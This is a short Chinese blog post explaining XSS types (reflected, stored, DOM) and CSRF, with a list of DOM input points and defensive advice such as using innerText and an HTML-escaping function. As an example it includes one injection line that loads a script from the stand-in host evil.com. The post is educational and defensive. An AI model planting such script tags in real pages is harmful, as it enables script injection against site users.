zoukankan      html  css  js  c++  java
  • 前端黑客之XSS、CSRF

    XSS:跨站脚本,发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行时,XSS就会发生。 
    绝大多数XSS攻击都会采用嵌入一段远程或者第三方域上的脚本资源。任何安全问题都有“输入”的概念,很多时候输入的内容长度是有限制的。真正的XSS攻击弹出窗无意义。一般会注入类似<script src="http://www.evil.com/xxs.js"></script>

    XXS类型 
    反射型XSS(非持久性XSS)、存储型XSS(持久型XSS)、DOM XSS

    反射型XSS 
    发出请求时,XSS代码在URL中,作为输入提交到服务器端,服务端解析后响应,在响应内容中出现这段XSS代码,最后浏览器解析执行。这个过程就像一次反射。 
    存储型XSS 
    提交的XSS代码会存储在服务端,最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,用户查看留言板时,那些留言内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与JS解析执行,于是触发了XSS攻击。 
    DOM XSS 
    DOM XSS的XSS代码不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析。 
    常见的输入点:

    document.URL
    document.URLUnencoded
    document.location
    document.referrer
    window.location
    window.name
    document.cookie
    document.write
    document.body.innerHTML
    document.forms[0].action
    document.attachEvent
    document.create
    document.body
    window.attachEvent
    document.location
    document.location.hostname
    document.location.replace
    document.location.assign
    document.URL
    window.navigate
    window.open
    window.location.href

    CSRF:跨站请求伪造 
    跨站请求伪造是其他站点的,对于XSS来说,发起的任何攻击请求实际上是目标网站同域内发出的。 
    CSRF类型:HTML CSRF攻击、JSON HiJacking攻击、Flash CSRF攻击

    xss攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。(解释摘自百度百科)

    1、将能被转换为html的输入内容,在写代码时改为innerText而不用innerHTML

    2、实在没有办法的情况下可用如下方法(js代码)

    function safeStr(str){
    return str.replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g, "&quot;").replace(/'/g, "&#039;");
    }

    将含有<>等符号转化为其他字符简单方便

  • 相关阅读:
    MySQL高性能优化规范建议,速度收藏
    基于 debian 操作系统的 docker 镜像,安装 vim
    Vue 开发经验总结
    DNS 负载均衡
    图解:从单个服务器扩展到百万用户的系统
    defer、return、返回值,这三者的执行逻辑
    goroutine 知识点
    一条SQL语句在MySQL中如何执行的
    架构设计的常用方法
    vue中直接修改props中的值并未给出警告,为啥?
  • 原文地址:https://www.cnblogs.com/imnzq/p/9384817.html
Copyright © 2011-2022 走看看